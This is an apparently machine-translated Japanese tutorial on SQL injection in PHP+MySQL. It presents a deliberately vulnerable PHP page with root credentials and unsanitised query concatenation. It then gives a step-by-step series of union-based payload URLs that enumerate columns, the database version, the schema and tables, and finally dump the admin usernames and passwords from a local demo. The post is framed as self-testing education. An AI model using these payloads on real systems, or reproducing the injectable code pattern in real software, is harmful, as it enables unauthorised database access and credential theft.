PHP+MYSQL【注入ホール】攻防テスト


文明の原則に基づいて、他の人のサイトをテストしないで、自分で抜け穴のあるプログラムを書いて、それから一度に抜け穴を注入する原理を解析して、みんなが一反三を挙げて、悪いことをしないでほしいと言っています.有名な注入ツールは、明小僧のdomain 4.1、小竹のNBSI、教主のHDSI、ああDの注入ツールなどがあります.
 
脆弱性のあるPHPコード:
<?php
$dbserver='localhost';
$dbusername='root';
$dbpassword='root';
$dbname='wap_impressions';

$id = $_GET["id"];

$conn=mysql_pconnect($dbserver,$dbusername,$dbpassword);
mysql_select_db($dbname);
mysql_query('set names utf8');

$sql = "select * from visitors where v_id=$id";

$result = mysql_query($sql);

if($row = mysql_fetch_array($result)){
  echo $row["visitor"]."->".$row["browser_type"]."<br/>";
}

mysql_close($conn);


?>
 
このコードは簡単で、IDパラメータだけを受信して、データベースからクエリーして、表示します...その中でパラメータを取得した後、特殊なフィルタリングを行うため、章があり、ほほほ.
 
まず、このDEMOプログラムがどのように表示されているかにアクセスします.
入力http://localhost/wapdemo/test.php?id=1
表示:192.168.2.210->IE
 
このプログラムがパラメータを特殊にフィルタリングしたかどうかをテストし、パラメータの後ろにand 1=1またはand 1=2を加えることでテスト、、
and 1=1が正常に表示され、and 1=2が表示されない場合、私たちが参加したこれらのパラメータがコードに機能していることを証明し、脆弱性があることを証明しました.では、SQL注入脆弱性で推測し始めましょう.
 
1.現在のプログラム・ページで使用されているテーブルにどれだけのフィールドがあるかを推測し、「order byフィールドの下付き」でどれだけのフィールドがあるかをテストします.
http://localhost/wapdemo/test.php?id=1order by 6(結果エラー)
http://localhost/wapdemo/test.php?id=1order by 5(エラーなし)
では、5つのフィールドがあることを証明します...
 
2.クエリー・フィールドはこのページで使用可能です.
http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,2,3,4,5
表示:2->4
2番目と4番目のフィールドがこのページに表示されていることを証明すると、データベースのバージョン、データベース名などを表示するなど、私たちが望んでいる情報をこのフィールドに置き換えることができます.
 
3.データベースのバージョンとデータベース名の表示
http://localhost/wapdemo/test.php?id=1 and 1=2 union select 1,version(),3,database(),5
表示:5.1.36-community-log->wap_impressions
私が使っているデータベースのバージョンは5.1で、使っているテーブルはwap_です.impressionsは、コードで見ることができますが、確かにこのテーブルです.
 
4.データベース名がわかればやりやすいので、MYSQLシステムテーブルでinformation_schemaはwap_を得るimpressionsの下のすべてのテーブルと表の下のフィールドは、もちろんPHPパラメータの取得は自動的に単一引用符を遮断しています.大丈夫です.16進数で迂回することができます.
16進数の取得方法は、MYSQLのパラメータhex(「xxxx」)やPHPやJAVAやネット上のツールで回ることができますが、ここではあまり言いません.
 
4.1. wap_を見つけるimpressionsの下の管理者テーブル
 
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit 0,1
....
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=0x7761705F696D7072657373696F6E73 limit N,1
 
N回の爆破、ついにwap_impressionsの下にあるすべてのテーブルが表示されます.
 
0 x 7761705 F 696 D 7072657373696 F 6 E 73がwap_impressionsの16進法
 
最後に管理者テーブルを見つけます
表示ヒョウジ:admin->4
 
4.2. adminの管理者テーブルの下にあるすべてのフィールドを見つけます
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit 0,1
...
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,column_name,3,4,5 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x7761705F696D7072657373696F6E73 AND table_name=0x61646D696E limit N,1
 
0 x 61646 D 696 Eはadminの16進法です
 
最後にadminテーブルのすべてのフィールドを見つけます.
表示:admin_id->4
          admin_name->4
          admin_pass->4
5.やっと最後に管理人の時計を手に入れた
admin
admin_id    admin_name   admin_pass
 
テーブルの下にあるすべての管理者を問い合わせることができます
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit 0,1
...
http://localhost/wapdemo/test.php?id=1 and 1=2 union SELECT 1,admin_name,3,admin_pass,5 FROM admin limit N,1
 
管理者を特定するには:
表示:wangking->123456
 
 
もちろん一般的にネット上のパスワードは暗号化されていますが、ネット上には多くの復号ツールがあります.ここでは、脆弱性を注入して推測し、私たちが望んでいる情報を得る方法について話しています.